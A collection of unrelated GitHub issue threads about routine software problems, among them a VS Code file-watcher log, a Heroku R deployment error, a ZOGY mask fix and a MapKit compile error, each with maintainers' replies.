[12:18:45.790] Got install request {"projectName":"/dev/null/inferredProject1*","fileNames":["d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2016.full.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2016.array.include.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es5.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.symbol.wellknown.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.reflect.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.proxy.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.iterable.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.symbol.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.promise.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.generator.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.collection.d.ts","d:/portable_programs/VS Code/32bit/resources/app/extensions/node_modules/typescript/lib/lib.es2015.core.d.ts","d:/portable_programs/test.js"],"compilerOptions":{"module":1,"target":3,"jsx":1,"allowJs":true,"allowSyntheticDefaultImports":true,"allowNonTsExtensions":true,"noEmitForJsFiles":true,"maxNodeModuleJsDepth":2},"typeAcquisition":{"enable":true,"include":[],"exclude":[]},"unresolvedImports":[],"projectRootPath":"d:/portable_programs","kind":"discover"}
[12:18:45.820] Loaded safelist from types map file 'd:/portable_programs/vs code/32bit/resources/app/extensions/node_modules/typescript/lib/typesmap.json'
[12:18:45.820] Explicitly included types: []
[12:18:45.820] Inferred typings from unresolved imports: []
[12:18:45.820] Result: {"cachedTypingPaths":[],"newTypingNames":[],"filesToWatch":["d:/portable_programs/bower_components","d:/portable_programs/node_modules"]}
[12:18:45.820] Finished typings discovery: {"cachedTypingPaths":[],"newTypingNames":[],"filesToWatch":["d:/portable_programs/bower_components","d:/portable_programs/node_modules"]}
[12:18:45.820] DirectoryWatcher:: Added:: WatchInfo: d:/portable_programs recursive
[12:18:45.820] Sending response: {"projectName":"/dev/null/inferredProject1*","typeAcquisition":{"enable":true,"include":[],"exclude":[]},"compilerOptions":{"module":1,"target":3,"jsx":1,"allowJs":true,"allowSyntheticDefaultImports":true,"allowNonTsExtensions":true,"noEmitForJsFiles":true,"maxNodeModuleJsDepth":2},"typings":[],"unresolvedImports":[],"kind":"action::set"}
[12:18:45.820] Response has been sent.
[12:18:45.830] No new typings were requested as a result of typings discovery
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/main.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/renderer1.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/exthost1.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/sharedprocess.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/output_1_20180620T111049/tasks.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/output_1_20180620T111049/extensions.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/output_1_20180620T111049/extension-output-#1.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/output_1_20180620T111049/extension-output-#2.log :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048/output_1_20180620T111049 :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'
[12:18:47.418] DirectoryWatcher:: Triggered with d:/portable_programs/VS Code/sandbox/vsc-user-data/logs/20180620T111048 :: WatchInfo: d:/portable_programs recursive :: handler is already invoked 'false'

@dreamflow Thanks. Looks like the issue may be the recursive watcher on d:/portable_programs. Are you opening that folder?
@sheetalkamat Does anything else stand out in the logs?

The file opened is d:/portable_programs/test.js so the current directory is assumed to be d:/portable_programs and its watched to detect installation of bower_components, node_modules, etc

d:/portable_programs. Are you opening that folder?

yes , there were files open like d:/portable_programs/test.js and others
like the portabilizer-exe . therefore i've moved everything possible in a
different folder on a different drive , so that under the folder-brach
d:/portable_programs/ only remained the absolute minimum
necessary 2 folders :

D:\portable_programs\VS Code\32bit

D:\portable_programs\VS Code\sandbox\vsc-user-data

contains the unchanged unzipped downloaded VSCode-win32-ia32-1.25.0-insider.zip

is the folder where the command-line swtich --user-data-dir points to ,
with whom "Code - Insiders.exe" is launched portable .

but the result is the same : the cmd.exe/npm process is leaking
VS Code itself has many file-interactions during a portable run under the folder-branch
D:\portable_programs\VS Code\sandbox\vsc-user-data\
especially in :
D:\portable_programs\VS Code\sandbox\vsc-user-data\CachedData
D:\portable_programs\VS Code\sandbox\vsc-user-data\logs

@dreamflow If you open a folder in another location (such as d:\code\test.js for example) do you still see this problem? Having VS Code inside the same directory as the code you are editing is likely causing issues for the file watcher

@mjbvz
as suggested , i've now opened the test-file from d:\code\test.js and i've also opened
it form another partition e:\code\test.js , while the portable VSCode 1.25.0-insider
is in the folder D:\portable_programs\VS Code , but unfortunately with the same result :
the cmd.exe/npm process is leaking

@sheetalkamat Are you able to repo this issue on a windows machine?

in the first posting of this thread i've edited the part containing the
"steps to reproduce" this issue , according to the more specific
findings i've found through tests on more machines .
i've reproduced the issue on a second Win7 32bit SP1 physical machine ,
but couldn't reproduce it on a third Win7 32bit SP1 physical machine
and couldn't reproduce it on a fourth Win7 32bit SP1 virtual machine .
on a fifth Win7 64bit SP1 physical machine i've tested both the
32bit nad 64bit portable versions of VSCode 1.25.0-insider ,
but couldn't reproduce it .
so far here this issue occurs only on 50% of the Win7 32bit SP1
physical machines and it's not a big problem in practise ,
because it's know and can be easily handled manually ,
by deleting the leaked process . even if the leaked process
is not deleted , it doesn't matter much , becuase it occupies
only negligible little memory and it doesn't interfere with a
subsequent portable run of VS Code .


file not found on deployment to Heroku

I have a fresh application using https://github.com/virtualstaticvoid/heroku-buildpack-r . The repo (connected to a github repo) contains a few files only, of which init.R (necessary for the buildpack to start the app as documented) and api.R, which is called by init.R.
When I deploy the app, the file init.R is found and run properly. However, file api.R, located in the same directory, is not found. From the logs:
    ...
    The downloaded source packages are in
       	‘/tmp/RtmpcesiJU/downloaded_packages’

       plumber installed
       Error in plumb("api.R") : File does not exist: api.R
       Execution halted
       ERROR: R 3.4.0 failed while executing "init". Check the log for details.
 !     Push rejected, failed to compile R Console app.
 !     Push failed

I already added a line to set the working directory to /app (Sys.getenv("APP_DIR", unset="/app") ), but that doesn't seem to work either. What am I missing?

I am getting an SSL error when I try to replicate the gist setup. What am i doing wrong?
curl -X GET "https://plumbertest.heroku.com/mean" -H  "accept: application/json"
curl: (51) SSL: no alternative certificate subject name matches target host name 'plumbertest.heroku.com'

from heroku local
$ heroku local
1:01:08 PM web.1 |  R version 3.5.1 (2018-07-02) -- "Feather Spray"
1:01:08 PM web.1 |  Copyright (C) 2018 The R Foundation for Statistical Computing
1:01:08 PM web.1 |  Platform: x86_64-apple-darwin15.6.0 (64-bit)
1:01:08 PM web.1 |  R is free software and comes with ABSOLUTELY NO WARRANTY.
1:01:08 PM web.1 |  You are welcome to redistribute it under certain conditions.
1:01:08 PM web.1 |  Type 'license()' or 'licence()' for distribution details.
1:01:08 PM web.1 |    Natural language support but running in an English locale
1:01:08 PM web.1 |  R is a collaborative project with many contributors.
1:01:08 PM web.1 |  Type 'contributors()' for more information and
1:01:08 PM web.1 |  'citation()' on how to cite R or R packages in publications.
1:01:08 PM web.1 |  Type 'demo()' for some demos, 'help()' for on-line help, or
1:01:08 PM web.1 |  'help.start()' for an HTML browser interface to help.
1:01:08 PM web.1 |  Type 'q()' to quit R.
1:01:08 PM web.1 |  > library(plumber)
1:01:08 PM web.1 |  >
1:01:08 PM web.1 |  > port <- Sys.getenv('PORT')
1:01:08 PM web.1 |  >
1:01:08 PM web.1 |  > r <- plumber::plumb("app/myfile.R")
1:01:08 PM web.1 |  >
1:01:08 PM web.1 |  > r$run(host='<IP_ADDRESS>', port=strtoi(port))
1:01:08 PM web.1 |  Starting server to listen on port 5000

Hi @yonicd
I don't think this is an error with your R program, but rather a configuration issue with the Heroku application's configuration.
The Heroku SSL article may help. As far as I know, you will need to have a paid-for dyno to get ACM via Let's Encrypt.

i figured it out. i was using an old buildpack i created a few months ago to test this out. i nuked it and created another one and things ran like you had in the gist. thanks for the examples files they were a big help.


Can't see hands even after typing -vrmode openvr to the advanced launch options of the subnautica game

I tried everything, still now working, and yeah i have -vrmode openvr written in advanced launch options

so here the image of it

Did you start the game from the steamvr dashboard? What headset do you use?

i use oculus quest 2, i started just from steam

Try starting it from steamvr dashboard then. Steamvr has to be running before you start the game

Did you start the game from the steamvr dashboard? What headset do you use?

i use oculus quest 2, i started from steam (not vr dashbord)

Try starting it from steamvr dashboard then. Steamvr has to be running before you start the game

thx man, helped


Bug in ZOGY?

Hello,
I seem to have found a bug in ZOGY when run without providing mask images. The problem results when trying to update the header of the mask fits file during remapping since although the data for the mask is created the fits file is not. My solution was to change prep_optimal_subtraction as follows :
# create new mask or modify an existing one
# determine data_mask
if fits_mask is not None:
    # read in mask image
    data_mask = read_hdulist (fits_mask, dtype='uint8')
    data_mask = create_modify_mask (data_wcs, satlevel, data_mask=data_mask)
else:
    data_mask = None
    data_mask = create_modify_mask (data_wcs, satlevel, data_mask=data_mask)
    fits_mask = input_fits.replace('.fits', '_mask.fits')
    header_mask = read_hdulist (input_fits, get_data=False, get_header=True)
    fits.writeto (fits_mask, data_mask, header_mask, overwrite=True)

Please, let me know if you have any comments.
Cheers,
Paulina

Dear Paulina,
Thanks very much for pointing out this bug! I’ve just updated zogy.py with your suggestions and pushed it to the GitHub repository.
Best wishes,
Paul

On 23 Dec 2021, at 18:22, plirat @.***> wrote:
Hello,
I seem to have found a bug in ZOGY when run without providing mask images. The problem results when trying to update the header of the mask fits file during remapping since although the data for the mask is created the fits file is not. My solution was to change prep_optimal_subtraction as follows :
create new mask or modify an existing one
determine data_mask
if fits_mask is not None:
# read in mask image
data_mask = read_hdulist (fits_mask, dtype='uint8')
data_mask = create_modify_mask (data_wcs, satlevel, data_mask=data_mask)
else:
data_mask = None
data_mask = create_modify_mask (data_wcs, satlevel, data_mask=data_mask)
fits_mask = input_fits.replace('.fits', '_mask.fits')
header_mask = read_hdulist (input_fits, get_data=False, get_header=True)
fits.writeto (fits_mask, data_mask, header_mask, overwrite=True)
Please, let me know if you have any comments.
Cheers,
Paulina
—
Reply to this email directly, view it on GitHub, or unsubscribe.
Triage notifications on the go with GitHub Mobile for iOS or Android.
You are receiving this because you are subscribed to this thread.


Fired up Mapkit on Xcode 15, and get a compile error

/Users/dbii/Library/Developer/Xcode/DerivedData/MBSQuoteline-fpnocmrhpgeuuwhdzxpmspvyaaho/SourcePackages/checkouts/liveview-native-swiftui-mapkit/Sources/LiveViewNativeMapKit/MapContent/Marker.swift:87:44 Cannot convert value of type 'String' to expected argument type 'Text'
I checked MapKit and that appears to need to be a String, but in _MapKit_SwiftUI (whatever that is) it has it as Text
/// - Parameters:
///   - titleKey: The localized string key to lookup the title under.
///   - monogram: Up to three characters to display on the marker's balloon.
///   - coordinate: The coordinate to display the marker at.
public init(_ titleKey: LocalizedStringKey, monogram: Text, coordinate: CLLocationCoordinate2D) where Label == Label<Text, Text>
/// Creates a marker at the given location with a monogram displayed as the
/// balloon's icon.
///
/// - Parameters:
///   - title: The title of the marker.
///   - monogram: Up to three characters to display on the marker's balloon.
///   - coordinate: The coordinate to display the marker at.
public init<S>(_ title: S, monogram: Text, coordinate: CLLocationCoordinate2D) where Label == Label<Text, Text>, S : StringProtocol

Screenshot 2023-08-16 at 8.43.48 PM.png

FYI @carson-katri @bcardarella

SLACK THREAD: https://dockyard.slack.com/archives/C02E1GA5THB/p1692236831728369
Carson Katri
7 hours ago
Probably needs some updates for newer betas
David Bluestein II
13 minutes ago
I see the problem, but not how to fix it. In Sources/LiveViewNativeMapKit/MapContent/Marker.swift there is:
/// Use the value as a monogram instead of the default pin icon.
@_documentation(visibility: public)
let monogram: String?
which is used at
var body: some MapContent {
if let monogram {
MapKit.Marker(title, monogram: monogram, coordinate: coordinate)
} else if let image {
but the Apple docs now have two options which are identical except one has monogram as String (like above) and one as Text (hence the error Cannot convert value of type 'String' to expected argument type 'Text')
init(LocalizedStringKey, monogram: String, coordinate: CLLocationCoordinate2D)
Creates a marker at the given location with the provided localized title and a monogram the map displays as the balloon's icon.
init(LocalizedStringKey, image: String, coordinate: CLLocationCoordinate2D)
...
init(LocalizedStringKey, monogram: Text, coordinate: CLLocationCoordinate2D)
Creates a marker at the given location with the provided title key and monogram.
I would think if we had a String it would just call the first method. I can try to change Marker.swift to have it as Text and see if that works. Or maybe the shim code that links into MapKit only has the Text version (which my prior comment should fix). Or if you have another suggestion I can put it in and test it.
Carson Katri
9 minutes ago
If passing in a Text type works, then we can go with that. The API could be extended to accept Text elements with template={...} so you can use text modifiers like foreground_style or bold (if Marker renders those).


Docs to Eigen portal

Convert the docs to the portal of Eigen by gitbook, https://docs.gitbook.com/getting-started/start-exploring

Done.   new doc website is here : https://ieigen.github.io/ieigen/#/


Can I crawl a root site?

Hi,
Thanks for creating news-please. I'd like to crawl root sites and then specific article. Is it possible to use cnn.com or scmagazine.com as the input and then get back a list of news articles with the different parts news-please extracts?
Thank you!

That's exactly what the crawler mode does (https://github.com/fhamborg/news-please#run-the-crawler-via-the-cli)

I'm sorry Felix. I meant running it from python.

Thank you Felix. I wanted to run it from python but I think I can use it through the CLI just the same. Thanks again and my apologies for the triviality of the question.

No worries! :-) Currently, only the CLI mode supports the full website crawling, the other modes don't.

Hello, Felis :]
I wanna crawl articles from a root URL.
Are there any examples running the crawler via the CLI?

I am in the same boat as jeongwhanchoi, i am unable to find the 'data' folder with the json files after running it on the CLI with default example URLs


[FLINK-4354]Implement TaskManager side of heartbeat from ResourceManager

When TaskManager registers at the new ResourceManager, the SlotReport will be attached in the message. In heartbeat process, it is no need to exchange SlotReport between TaskManager and ResourceManager, so the payload is null in heartbeat message.
When TaskManager' listener is notified of heartbeat timeout from ResourceManager, currently it does nothing in the event notification. And it will re-register the new ResourceManager by HA mechanism.

@tillrohrmann , thank you for review!
Actually this PR is out-of-date based on flip-6, and my following modifications do not update this PR. This PR should be re-submitted based on master and I forgot to close it.
Some above suggestions have already  been fixed in the current implementation, and I want to merge this part in #3151 in order to be reviewed easily.

Alright @wangzhijiang999. Sorry for the late review. Once you've rebased the PR ping me :-)


build/mngids.py: more tests + handle the -f options

The -f option is not an argument option for groupadd. So
manage that exception.
Add more tests to validate the script is able to find the username
and groupname.

Excellent, thanks


[NOT READY] Deploy to production

Prior to merging, need to address:

[x] https://github.com/hotosm/oam-catalog/issues/88
[ ] take snapshot of current production mongodb

@mojodna Do we need to address #86 and #87?

No need. Those issues don't manifest in truly bad ways yet (though you may need to run the indexing process multiple times for it to pick up everything; may be fine within EC2).

Why are the tests failing after upgrading Node?
As the tests are written (w/ mocha), they're all asynchronous and run in parallel. With the previous version of Node, execution was sequential enough to be able to test for side-effects introduced by other tests (e.g. the number of records inserted across the suite as a whole vs. within the individual testcase). Now that execution doesn't occur in the same order, those assumptions are coming back, biting us in the foot, and triggering failures.

It's possible that updates to mocha could address this, although the best long-term solution is to refactor the tests to reduce the introduction of and reliance on side-effects.


Power Toys Run option list

Description of the new feature / enhancement
Power Toys Run is really slick. But I can't remember all of the special codes. It would be helpful if you added a dropdown list and then selecting one would automatically enter that code.
Scenario when this would be used?
I would use Power Toys Run more often.
Supporting information
No response

/dup #11591


[xsimd][xtensor][xtl] Update to lastest

@myd7349 LGTM

@myd7349 Forgot about this - thanks for waiting!


Don't load pickadate in fastboot

In order for a fastboot application to boot, we cannot be loading the pickadate library.  It can be loaded after the client receives the javascript payload.
https://ember-fastboot.com/docs/addon-author-guide

Great, thanks! Release as 1.3.6


Package compatilibity

So im making an fork of @distube/youtube, Which use this project as the ytdl main code, to make youtube work normally again
I wish to get some help from the owners, like after 5.1.1 the validateURL function + createAgent  stopped working. What alternatives i can use for that? (for my package, i used GetBasicInfo function, to make it work again)
And an feature request would be: Add an auto save poToken for an .txt or something, and after restarts or something it can be re-added again, wasting less time

Thank you very much. We will implement this in the next version.
Regarding ValidateURL+createAgent, can you provide specific code?

Forgot to mention, but if you try to use @distube/soundcloud, It always returns 'Not an youtube domain', so soundcloud cannot be used with this

Is there an error in the validateUrl function?
It is working in my environment.

Has the problem been resolved?
If I do not receive a reply for a day, I will close this issue.

I am closing this issue because a day has passed since the above post. If you have any more questions, please create a new issue. Thank you.